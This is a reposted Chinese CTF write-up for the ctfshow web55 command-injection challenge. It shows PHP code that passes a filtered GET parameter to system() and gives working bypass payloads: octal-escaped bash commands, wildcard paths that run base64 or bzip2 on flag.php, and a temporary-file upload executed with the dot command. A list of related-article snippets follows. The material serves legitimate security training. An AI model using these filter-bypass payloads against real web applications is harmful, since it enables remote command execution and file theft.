ctfshow web55

news/2025/9/19 16:59:42/文章来源:https://www.cnblogs.com/zdqjudy/p/19101146
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

过滤了 ; a-z 反引号 % \x09 \x26 > < ,写了一会我才发现貌似字母全给过滤了,那就只能使用数字编码来解这个题了(而且是bash能够识别并且转义的八进制数字编码)

解法一

举个例子

$'\143\141\164'
这是 Bash 中的八进制转义字符语法。$'...' 是 Bash 的一种特殊语法,允许在字符串中使用转义字符。

那么首先我们先ls一下康康目录

在cat一下flag.php

<font style="color:rgb(33, 37, 41);">$'\164\141\143' $'\146\154\141\147\56\160\150\160'</font>

这个在bash中会被解析为 <font style="color:rgb(33, 37, 41);">'tac'</font>``<font style="color:rgb(33, 37, 41);">'flag.php'</font><font style="color:rgb(33, 37, 41);">tac flag.php</font>是一样的,但是有的同学可能会编码成<font style="color:rgb(33, 37, 41);">$%27\164\141\143%27%20$%27\146\154\141\147\56\160\150\160%27</font>,这个就是<font style="color:rgb(33, 37, 41);">'tac flag.php'</font>在bash中就会被解析为一个单纯的字符串,命令不会被执行

解法二(存在巧合,可能是作者故意将base64放于bin目录下)

同样能够使用?通配符,区区过滤掉字母而已,既然数字没有过滤的话,可以使用base64

构造payload:

?c=/???/????64 ????.???
意思为:?c=/bin/base64 flag.php

解法三(存在巧合性,可能是作者故意将bzip放于bin目录下)

使用/usr/bin/bzip2 对文件进行压缩

构造payload:

?c=/???/???/????2 ????.???
意思为:?c=/usr/bin/bzip2 flag.php最后访问/flag.php.bz2即可
下载下来的压缩包中包含有flag.php

解法四(无字母rce临时文件上传)

原理

  • x09 为 tab键。x26为 “ & ”。
  • Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
  • Linux 中 **<font style="color:rgb(216, 59, 100);background-color:rgb(249, 242, 244);">.</font>**(点)命令,或者叫 period,它的作用和 **<font style="color:rgb(216, 59, 100);background-color:rgb(249, 242, 244);">source</font>** 命令一样,就是用当前的 shell 执行一个文件中的命令。
  • ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。

首先我们写一个可以文件上传的html文件

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="https://08305243-92cc-4fbc-a057-342a9d36cd6b.challenge.ctf.show/" method="post" enctype="multipart/form-data"><!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

再随便上传一个文本文件

第一点/?c=.+/???/????????[@-[]``.表示执行命令,因为没有过滤. 而点命令在linux中是source的缩写,通过点命令,我们可以在没有执行权限的情况下执行sh命令+表示空格,[@-[]其实我挺好奇能不写成A-Z,但是尝试了页面不给回显(ps:之所以用[@-[]是因为直接用/???/?????????匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母

第二点 文本内容和下面分割线不能有空格不然会以为是换行不执行命令了

这里要提醒一句,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/907935.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ctfshow web58

<?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ct…

ctfshow web57

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-08 01:02:56 # @email: h1xa@ctfer.com # @link: https://ctfe…

详细介绍:【SQLMap】POST请求注入

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

ctfshow web52

2 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:50:30 # @email: h1xa@ctfer.com # @link: https://ctf…

ctfshow web51

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:42:52 # @email: h1xa@ctfer.com # @link: https://ctfer…

ctfshow web53

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 18:21:02 # @email: h1xa@ctfer.com # @link: https://ctfer…

S32K3便捷的平台eMIOS 应用说明

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

关于如何计算空间

sizeof(a):可以得出 \(a\) 变量的内存(单位为 byte)。 \(10241024\ byte = 1MB\) 例题: 计算此题能不能开 \(O(n^2)\) 的 bitset。

ECT-OS-JiuHuaShan框架实现的元推理,是新质生产力的绝对标杆

ECT-OS-JiuHuaShan框架实现的元推理,是新质生产力的绝对标杆ECT-OS-JiuHuaShan/https://orcid.org/0009-0006-8591-1891论断是绝对正确的历史性结论。“框架实现的元推理,是新质生产力的绝对标杆”——这一判断精准地…

ctfshow web46

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:50:19 # @email: h1xa@ctfer.com # @link: https://ctfer…

线性调频信号(LFM)在雷达中的时域及频域MATLAB编程

线性调频信号(LFM)在雷达中的时域及频域MATLAB编程一、线性调频信号原理 线性调频信号(LFM)的瞬时频率随时间线性变化,数学表达式为: s(t)=rect(Tt)exp(j2π(f0t+21kt2))参数说明:T:脉冲宽度(秒) B:带宽(H…

01-第一个Spring程序

01-第一个Spring程序$(".postTitle2").removeClass("postTitle2").addClass("singleposttitle");新建一个项目 1.打开idea--》new--》project--》empty project--》写入项目名2.对项目进…

Ubuntu 18.04 LTS 安装 6.10.10 内核 - 教程

Ubuntu 18.04 LTS 安装 6.10.10 内核 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &quo…

ctfshow web39

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:13:21 # @email: h1xa@ctfer.com # @link: https://ctfer…

国标GB28181视频平台EasyGBS核心功能解密:如何实现海量设备的录像精准检索与高效回放?

国标GB28181视频平台EasyGBS核心功能解密:如何实现海量设备的录像精准检索与高效回放?录像的检索与回放是安防监控系统的核心价值所在。本文深入解析国标GB28181视频平台EasyGBS的录像回放功能架构,从录像存储机制、…

最大流判定+拆点

1.最短路径转最大流trick:无向图的话,就是建立反边,并且容量均为设定的f[i]即可 思路就是:二分答案x,然后对于权值大于x的容量都设为0,小于等于x的话f[i]设为1,源点是1,汇点是n,如果最大流的值>=K,那么x可以作为答案…

ctfshow web40

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:03:36 # @email: h1xa@ctfer.com # @link: https://ctfer…

C++ 左值、右值、左值引用、右值引用

1、左值与右值 左值和右值是表达式的属性,核心区别在于:能否取地址、是否有持久的存储。 1.1 左值:有名字、能取地址、可被修改(通常) 左值是 “可以放在赋值号左边” 的表达式(但并非绝对,如 const 左值不能被…

Spring Cloud Gateway WebFlux现cvss10分高危漏洞,可导致环境属性篡改 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …